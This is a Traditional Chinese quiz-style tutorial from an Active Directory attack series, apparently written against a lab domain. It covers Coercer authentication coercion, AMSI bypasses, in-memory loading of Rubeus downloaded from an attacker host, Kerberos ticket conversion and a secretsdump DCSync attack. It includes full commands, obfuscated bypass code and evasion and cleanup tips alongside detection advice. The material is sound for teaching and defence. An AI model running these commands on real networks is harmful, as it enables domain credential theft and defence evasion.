在本文的攻擊中,我們透過無約束委派捕獲了 KINGSLANDING$(父域 DC)的 TGT,進而執行 DCSync 攻擊,取得整個父域的所有憑證。這正是無約束委派最危險的體現。

為何 DC 預設啟用無約束委派?

  • 這是歷史遺留設計,用於支援舊版的服務認證需求
  • Microsoft 建議現代環境應改用約束委派或 RBCD
  • 但為了向後相容,DC 仍保留此設定

第 2 題:Coercer 強制認證攻擊原理

在無約束委派攻擊中,我們使用 Coercer 工具強制 KINGSLANDING(父域 DC)向 WINTERFELL 進行認證。以下關於 Coercer 的敘述,何者錯誤

A) Coercer 利用 Windows RPC 協定的特性強制目標發起認證
B) 成功的 Coercer 攻擊會讓目標的 TGT 出現在攻擊者控制的伺服器上
C) Coercer 攻擊需要攻擊者已經擁有域管理員權限才能執行
D) MS-EFSR 和 PrinterBug 都是 Coercer 可以利用的 RPC 方法

正確答案:C

詳細解析:

Coercer 攻擊不需要域管理員權限,這正是它如此危險的原因。

  1. Coercer 的運作原理

    攻擊者(普通域使用者)
        ↓ 發送特殊 RPC 請求
    目標伺服器(如 DC)
        ↓ 被迫向指定位置認證
    攻擊者控制的伺服器(啟用無約束委派)
        ↓ 捕獲目標的 TGT
    
  2. 為何不需要高權限

    • Coercer 利用的是 Windows RPC 服務的設計特性,不是漏洞
    • 這些 RPC 方法(如 MS-EFSR、MS-RPRN)允許經過認證的使用者呼叫
    • 只需要有效的域使用者憑證即可執行
    • 在本文案例中,我們使用 arya.stark(普通使用者)執行 Coercer
  3. 實際攻擊指令回顧

    coercer coerce \
      -u arya.stark \           # 普通域使用者
      -p Needle \
      -d north.sevenkingdoms.local \
      -t kingslanding.sevenkingdoms.local \  # 目標:父域 DC
      -l winterfell.north.sevenkingdoms.local  # 誘騙至:我們控制的伺服器
    
  4. 其他選項說明

    • A 正確:Coercer 確實利用 RPC 協定(如 MS-EFSR、MS-RPRN、MS-DFSNM 等)
    • B 正確:這正是攻擊的目標 - 當目標被迫認證時,TGT 會儲存在無約束委派的伺服器上
    • D 正確:Coercer 支援多種 RPC 方法,包括:
      • MS-EFSR (EfsRpcAddUsersToFile)
      • MS-RPRN (PrinterBug)
      • MS-DFSNM
      • MS-FSA 等
  5. 常見的強制認證方法

    • PetitPotam:利用 MS-EFSR
    • PrinterBug:利用 MS-RPRN
    • Coercer:整合多種方法的工具

防禦建議

  • 禁用不必要的 RPC 服務
  • 限制誰可以呼叫敏感的 RPC 方法
  • 監控異常的認證請求模式
  • 避免使用無約束委派

第 3 題:AMSI 繞過技術原理

在攻擊過程中,我們需要繞過 AMSI(反惡意軟體掃描介面)才能執行 Rubeus。以下三種 AMSI 繞過方法中,哪一種最難被偵測

A) 直接設定 amsiInitFailed$true
B) 將 0 寫入 AMSI context 記憶體位址
C) 使用字串混淆並寫入 0x41424344 到 AMSI context
D) 直接停用 Windows Defender 服務

正確答案:C

詳細解析:

三種 AMSI 繞過技術的比較:

方法 技術原理 隱蔽性 偵測難度
方法 A 設定失敗旗標 容易被 EDR 發現
方法 B 記憶體修補(寫 0) 中等
方法 C 字串混淆 + 記憶體寫入 最難
  1. 方法 C 的優勢(最難偵測)

    # 字串混淆範例
    $x=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');
    $y=$x.GetField('am'+'siCon'+'text',[Reflection.BindingFlags]'NonPublic,Static');
    $z=$y.GetValue($null);
    [Runtime.InteropServices.Marshal]::WriteInt32($z,0x41424344)
    

    為何難以偵測

    • 字串拆分'Am'+'siUt'+'ils' 繞過靜態字串掃描
    • AMSI 無法在自己被破壞前偵測到這些字串
    • 即使 AMSI 掃描腳本內容,也看不到完整的 "AmsiUtils" 字串
    • 記憶體直接操作:寫入 0x41424344("ABCD")破壞 AMSI context 結構
    • 不依賴修改任何明顯的「失敗旗標」
    • 行為模式較不典型
  2. 方法 A 的弱點(容易偵測)

    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
      .GetField('amsiInitFailed','NonPublic,Static')
      .SetValue($null,$true)
    
    • 包含明顯的 "AmsiUtils" 字串
    • 直接修改 amsiInitFailed 是已知的繞過模式
    • 現代 EDR 會監控對此欄位的修改
    • 容易被特徵碼偵測
  3. 方法 B 的特性(中等偵測難度)

    # 寫入 0 到 AMSI context
    [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
    
    • 雖然有間接查找,但仍有 "iUtils"、"Context" 等可疑字串
    • 寫入 0 的行為模式較容易識別
    • 比方法 A 好,但不如方法 C
  4. 方法 D 為何錯誤

    • 停用 Windows Defender 需要管理員權限
    • 會觸發明顯的安全警報
    • 會留下事件日誌記錄
    • 不適合隱蔽攻擊

實戰經驗
在本文的實驗中,即使使用方法 C,仍然無法完全繞過 AMSI。這反映了:

  • Windows Defender 不斷進化
  • 需要採用記憶體載入技術作為替代方案
  • 無檔案攻擊(Fileless)成為新趨勢

現代防禦機制

  • AMSI 不僅掃描腳本內容,也監控記憶體操作
  • EDR 會記錄對 AMSI 相關 API 的所有呼叫
  • 行為分析可以偵測異常的 Reflection 使用
  • 最佳實踐:使用多層防禦,不依賴單一技術

第 4 題:記憶體載入 .NET 組件技術

在無法繞過 AMSI 時,我們使用記憶體載入技術執行 Rubeus。以下關於記憶體載入的敘述,何者錯誤

A) 記憶體載入可以避開基於檔案的防毒掃描
B) [Reflection.Assembly]::Load() 會將組件載入到應用程式網域的記憶體中
C) MainString() 方法接受單一字串參數,而 Main() 方法接受字串陣列
D) 記憶體載入技術可以完全避開所有現代 EDR 的偵測

正確答案:D

詳細解析:

記憶體載入雖然是強大的技術,但無法完全避開現代 EDR

  1. 記憶體載入的優勢(A、B、C 正確)

    # 下載到記憶體
    $data = (New-Object Net.WebClient).DownloadData('http://KALI_IP:8080/Rubeus.exe')
    
    # 反射載入
    [Reflection.Assembly]::Load($data)
    
    # 兩種呼叫方式
    [Rubeus.Program]::Main(@("triage"))           # 字串陣列
    [Rubeus.Program]::MainString("triage")        # 單一字串
    

    A 正確

    • 檔案從未寫入磁碟
    • 傳統防毒軟體無法掃描記憶體中的資料
    • 避開應用程式白名單檢查

    B 正確

    • [Reflection.Assembly]::Load() 是 .NET 的反射功能
    • 將位元組陣列直接載入為程式集
    • 組件只存在於記憶體的應用程式網域中
    • 輸出 GAC = False 確認非全域組件快取

    C 正確

    # Main() - 標準 C# Main 方法
    [Rubeus.Program]::Main(@("kerberoast", "/outfile:output.txt"))
    
    # MainString() - Rubeus 特製方法
    [Rubeus.Program]::MainString("kerberoast /outfile:output.txt")
    
  2. 為何 D 錯誤(現代 EDR 的能力)

    現代 EDR 可以偵測記憶體載入,透過:

    a) 記憶體掃描

    • 定期掃描程序記憶體空間
    • 偵測已知惡意程式碼的簽章
    • 即使在記憶體中也能發現 Rubeus

    b) 行為監控

    # 這些行為會被標記為可疑
    [Reflection.Assembly]::Load()        # 反射載入行為
    (New-Object Net.WebClient).Download  # 網路下載行為
    [Runtime.InteropServices.Marshal]::  # 記憶體操作
    

    c) PowerShell 日誌

    • Script Block Logging 會記錄所有 PowerShell 指令
    • Module Logging 記錄模組載入
    • Transcript Logging 記錄完整會話
    # 這些都會被記錄在事件日誌中
    Event ID 4104: PowerShell Script Block Logging
    Event ID 4103: Module Logging
    

    d) API 監控

    • EDR Hook 關鍵 Windows API
    • 監控 .NET Reflection API 的使用
    • 偵測異常的組件載入模式

    e) 網路流量分析

    • 偵測從外部下載 .exe 檔案
    • 分析 HTTP 流量中的 PE 檔案簽章
    • 關聯網路活動與記憶體載入
  3. 實際偵測案例

    使用記憶體載入時,可能觸發的警報:

    Alert: Suspicious PowerShell Activity
    - Reflection.Assembly.Load detected
    - Downloading executable from external source
    - Known offensive tool signature (Rubeus) in memory
    - Abnormal Kerberos ticket operations
    
  4. 繞過建議(但不保證成功)

    • 混淆組件:使用 ConfuserEx、Obfuscar 等工具
    • 自訂載入器:避免使用標準的 Assembly.Load()
    • 分段載入:將組件拆分成多個部分
    • 時間延遲:避免快速連續執行可疑操作
    • 使用 C2 框架:如 Covenant、Sliver 的內建功能
  5. 防禦者視角

    偵測指標:
    ✓ PowerShell 使用 Reflection.Assembly
    ✓ 從網路下載二進位資料
    ✓ 記憶體中出現 PE 檔案結構
    ✓ 異常的 Kerberos API 呼叫
    ✓ 未簽名的組件載入
    

總結
記憶體載入是提高攻擊成功率的技術,但不是銀彈。現代防禦需要多層策略,而攻擊者也需要結合多種技術才能提高成功率。真實的紅隊演練中,需要根據目標環境的防禦強度選擇適當的技術組合。

第 5 題:票證格式轉換與使用

在攻擊的最後階段,我們需要將從 Windows 提取的 Kerberos 票證轉換為 Linux 可用的格式。關於票證轉換的流程,以下敘述何者正確

A) Rubeus 提取的票證是 .ccache 格式,可以直接在 Linux 上使用
B) 轉換流程是:Base64 → .kirbi.ccache,然後設定 KRB5CCNAME 環境變數
C) 使用 klist 指令可以驗證票證是否正確載入,但不會顯示票證的有效期限
D) 在執行 DCSync 時必須使用 -hashes 參數提供 NTLM 雜湊才能成功

正確答案:B

詳細解析:

票證轉換與使用的完整流程:

  1. 票證格式說明

    格式 環境 工具 用途
    Base64 通用 Rubeus 輸出 文字傳輸
    .kirbi Windows Mimikatz, Rubeus Windows Kerberos
    .ccache Linux Impacket, kinit Linux Kerberos
  2. 為何 B 正確(完整轉換流程)

    步驟 1:Rubeus 提取 Base64 格式

    [Rubeus.Program]::Main(@("dump", "/service:krbtgt", "/nowrap"))
    

    輸出:

    Base64EncodedTicket: doIFrzCCBaugAwIBBaEDA...(很長的字串)
    

    步驟 2:Base64 → .kirbi

    # 將 Base64 儲存到檔案
    cat > kingslanding.b64 << 'EOF'
    doIFrzCCBaugAwIBBaEDA...
    EOF
    
    # 解碼為二進位格式
    cat kingslanding.b64 | base64 -d > kingslanding.kirbi
    

    步驟 3:.kirbi → .ccache

    # 使用 Impacket 的 ticketConverter
    ticketConverter.py kingslanding.kirbi kingslanding.ccache
    

    步驟 4:設定環境變數

    export KRB5CCNAME=kingslanding.ccache
    

    步驟 5:驗證載入

    klist
    

    輸出:

    Ticket cache: FILE:kingslanding.ccache
    Default principal: KINGSLANDING$@SEVENKINGDOMS.LOCAL
    
    Valid starting       Expires              Service principal
    10/01/2025 06:55:13  10/01/2025 16:55:13  krbtgt/SEVENKINGDOMS.LOCAL@...
            renew until 10/08/2025 06:55:13
    
  3. 為何其他選項錯誤

    A 錯誤

    • Rubeus 提取的是 Base64 編碼的 .kirbi 格式
    • .kirbi 是 Windows 格式,Linux 無法直接使用
    • 必須轉換為 .ccache 格式

    C 錯誤

    • klist 會顯示有效期限
    • 從上面的輸出可以看到:
      • Valid starting: 票證開始時間
      • Expires: 過期時間
      • renew until: 可更新的最長時間
    • 這些資訊對於判斷攻擊時間窗口非常重要

    D 錯誤

    • 使用 Kerberos 票證時,應該使用 -k -no-pass 參數
    • 不需要提供 NTLM 雜湊
    • 正確指令:
    secretsdump.py -k -no-pass \
      SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING.SEVENKINGDOMS.LOCAL
    
    • -k: 使用 Kerberos 認證
    • -no-pass: 不需要密碼(因為使用票證)
  4. 常見錯誤與解決方法

    錯誤 1:KRB5CCNAME 未設定

    # 錯誤訊息
    [-] Kerberos SessionError: KRB_AP_ERR_TKT_EXPIRED
    
    # 解決方法
    export KRB5CCNAME=/完整路徑/kingslanding.ccache
    

    錯誤 2:Base64 格式錯誤

    # 確保移除所有空白和換行
    cat kingslanding.b64 | tr -d ' \n' | base64 -d > kingslanding.kirbi
    

    錯誤 3:時間同步問題

    # Kerberos 對時間非常敏感(預設允許 5 分鐘誤差)
    sudo ntpdate -s sevenkingdoms.local
    
    # 或使用 rdate
    sudo rdate -n kingslanding.sevenkingdoms.local
    

    錯誤 4:票證已過期

    # 檢查票證有效期
    klist
    
    # 如果過期,需要重新捕獲
    # TGT 通常有效期為 10 小時
    
  5. 票證使用的最佳實踐

    # 1. 確認票證內容
    klist
    
    # 2. 測試票證可用性
    impacket-smbclient -k -no-pass \
      KINGSLANDING.SEVENKINGDOMS.LOCAL
    
    # 3. 執行主要攻擊
    secretsdump.py -k -no-pass \
      -just-dc-user Administrator \
      SEVENKINGDOMS.LOCAL/'KINGSLANDING$'@KINGSLANDING
    
    # 4. 清除票證(清理痕跡)
    unset KRB5CCNAME
    kdestroy
    
  6. 進階技巧:票證更新

    如果票證接近過期但還在 renew until 時間內:

    # 使用 kinit 更新票證
    kinit -R
    
    # 或使用 Impacket
    impacket-ticketer -nthash <hash> -domain-sid <SID> ...
    

實戰提醒

  • 票證是有時效性的,通常 TGT 有效期為 10 小時
  • 在紅隊演練中,應盡快使用捕獲的票證
  • 票證更新(Renew)可以延長使用時間,但也可能被偵測
  • 使用票證前務必確認時間同步,Kerberos 對時間非常敏感

上一篇
AD 攻防實戰演練 Day 16:橫向移動進階技術 - SAM/LSA/LSASS 憑證提取與多種橫向移動方法
下一篇
AD 攻防實戰演練 Day 18:Kerberos 委派攻擊進階 - 約束委派與資源型約束委派(RBCD)完全解析
系列文
資安這條路:AD 攻防實戰演練21
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言